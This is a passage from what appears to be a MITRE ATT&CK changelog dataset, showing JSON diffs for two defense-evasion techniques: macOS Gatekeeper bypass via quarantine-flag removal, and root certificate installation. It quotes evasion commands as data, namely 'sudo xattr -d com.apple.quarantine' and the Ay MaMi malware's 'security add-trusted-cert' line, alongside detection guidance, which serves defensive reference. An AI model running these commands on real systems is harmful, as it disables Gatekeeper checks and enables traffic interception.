~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 21:18:30.629000+00:00\", \"old_value\": \"2020-06-20 22:41:20.063000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\\n\\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\\n\\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)\", \"old_value\": \"Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \\n\\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\\u2019t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\\n \\nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n-Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \\n+Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\\n \\n-Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\\u2019t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\\n- \\n-In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\\n+The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\\n+\\n+Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"TheEclecticLightCompany apple notarization \", \"old_value\": \"Methods of Mac Malware Persistence\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.\", \"old_value\": \"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://eclecticlight.co/2020/08/28/how-notarization-works/\", \"old_value\": \"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Bypassing Gatekeeper\", \"old_value\": \"Clearing quarantine attribute\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.\", \"old_value\": \"Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/\", \"old_value\": \"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"20 macOS Common Tools and Techniques\", \"old_value\": \"OceanLotus for OS X\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.\", \"old_value\": \"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/\", \"old_value\": \"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"TheEclecticLightCompany Quarantine and the flag\", \"old_value\": \"Bypassing Gatekeeper\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.\", \"old_value\": \"Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/\", \"old_value\": \"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/\"}, \"root['x_mitre_detection']\": {\"new_value\": \"The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n\\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n\\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\", \"old_value\": \"Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,5 @@\\n-Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n+The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n+\\n+Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n+\\n+QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][5]\": {\"source_name\": \"theevilbit gatekeeper bypass 2021\", \"description\": \"Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.\", \"url\": \"https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/\"}, \"root['external_references'][6]\": {\"source_name\": \"Methods of Mac Malware Persistence\", \"description\": \"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.\", \"url\": \"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf\"}, \"root['external_references'][7]\": {\"source_name\": \"Clearing quarantine attribute\", \"description\": \"Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.\", \"url\": \"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/\"}, \"root['external_references'][8]\": {\"source_name\": \"OceanLotus for OS X\", \"description\": \"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.\", \"url\": \"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
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t1Adversaries may modify file attributes that signify programst1Adversaries may modify file attributes that signify programs
> are from untrusted sources to subvert Gatekeeper controls. > are from untrusted sources to subvert Gatekeeper controls i
>In macOS and OS X, when applications or programs are downloa>n macOS. When documents, applications, or programs are downl
>ded from the internet, there is a special attribute set on t>oaded an extended attribute (xattr) called <code>com.apple.q
>he file called <code>com.apple.quarantine</code>. This attri>uarantine</code> can be set on the file by the application p
>bute is read by Apple's Gatekeeper defense program at execut>erforming the download. This attribute, also known as a quar
>ion time and provides a prompt to the user to allow or deny >antine flag, is read by Apple's Gatekeeper defense program w
>execution.   Apps loaded onto the system from USB flash driv>hen the file is run and provides a prompt to the user to all
>e, optical disk, external hard drive, or even from a drive s>ow or deny execution. Gatekeeper also monitors an applicatio
>hared over the local network won\u2019t set this flag. Additional>n's usage of dynamic libraries (dylibs) loaded outside the a
>ly, it is possible to avoid setting this flag using [Drive-b>pplication folder on any quarantined binary, often using the
>y Compromise](https://attack.mitre.org/techniques/T1189). Th> <code>dlopen</code> function. If the quarantine flag is set
>is completely bypasses the built-in Gatekeeper check. (Citat> in macOS 10.15+, Gatekeeper also checks for a notarization 
>ion: Methods of Mac Malware Persistence) The presence of the>ticket and sends a cryptographic hash to Apple's servers to 
> quarantine flag can be checked by the xattr command <code>x>check for validity for all unsigned executables.(Citation: T
>attr /path/to/MyApp.app</code> for <code>com.apple.quarantin>heEclecticLightCompany apple notarization )(Citation: Bypass
>e</code>. Similarly, given sudo access or elevated permissio>ing Gatekeeper)  The quarantine flag is an opt-in system and
>n, this attribute can be removed with xattr as well, <code>s> not imposed by macOS. If an application opts-in, a file dow
>udo xattr -r -d com.apple.quarantine /path/to/MyApp.app</cod>nloaded from the Internet will be given a quarantine flag be
>e>. (Citation: Clearing quarantine attribute) (Citation: Oce>fore being saved to disk. Any application or user with write
>anLotus for OS X)   In typical operation, a file will be dow> permissions to the file can change or strip the quarantine 
>nloaded from the internet and given a quarantine flag before>flag. With elevated permission (sudo), this attribute can be
> being saved to disk. When the user tries to open the file o> removed from any file. The presence of the <code>com.apple.
>r application, macOS\u2019s gatekeeper will step in and check for>quarantine</code> quarantine flag can be checked with the xa
> the presence of this flag. If it exists, then macOS will th>ttr command <code>xattr -l /path/to/examplefile</code>. Simi
>en prompt the user to confirmation that they want to run the>larly, this attribute can be recursively removed from all fi
> program and will even provide the URL where the application>les in a folder using xattr, <code>sudo xattr -d com.apple.q
> came from. However, this is all based on the file being dow>uarantine /path/to/folder</code>.(Citation: 20 macOS Common 
>nloaded from a quarantine-savvy application. (Citation: Bypa>Tools and Techniques)(Citation: TheEclecticLightCompany Quar
>ssing Gatekeeper)>antine and the flag)(Citation: theevilbit gatekeeper bypass 
 >2021)  Apps and files loaded onto the system from a USB flas
 >h drive, optical disk, external hard drive, from a drive sha
 >red over the local network, or using the <code>curl</code> c
 >ommand do not set this flag. Additionally, it is possible to
 > avoid setting this flag using [Drive-by Compromise](https:/
 >/attack.mitre.org/techniques/T1189), which may bypass Gateke
 >eper. (Citation: Methods of Mac Malware Persistence)(Citatio
 >n: Clearing quarantine attribute)(Citation: OceanLotus for O
 >S X)
", "changelog_mitigations": { "shared": [ "M1038: Execution Prevention" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 21:05:32.844000+00:00", "modified": "2021-08-25 19:39:07.001000+00:00", "name": "Install Root Certificate", "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1553/004", "external_id": "T1553.004" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/479.html", "external_id": "CAPEC-479" }, { "source_name": "Wikipedia Root Certificate", "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", "url": "https://en.wikipedia.org/wiki/Root_certificate" }, { "source_name": "Operation Emmental", "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.", "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf" }, { "source_name": "Kaspersky Superfish", "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/" }, { "source_name": "SpectorOps Code Signing Dec 2017", "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" }, { "source_name": "objective-see ay mami 2018", "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", "url": "https://objective-see.com/blog/blog_0x26.html" }, { "source_name": "Microsoft Sigcheck May 2017", "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck" }, { "source_name": "Tripwire AppUNBlocker", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Matt Graeber, @mattifestation, SpecterOps", "Red Canary", "Travis Smith, Tripwire", "Itzik Kotler, SafeBreach" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Digital Certificate Validation" ], "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-25 19:39:07.001000+00:00\", \"old_value\": \"2020-03-19 20:31:11.389000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\\n\\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\\n\\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\\n\\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\\n\\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)\", \"old_value\": \"Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\\n\\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\\n\\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\\n\\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\\n\\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n-Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\\n+Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\\n \\n-Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\\n+Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\\n \\n-Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\\n+Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\\n \\n-Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\\n+Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\\n \\n-In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\\n+In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n\\nInstalled root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n\\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n* CDD4EEAE6000AC7F40C3802C171E30148030C072\", \"old_value\": \"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe 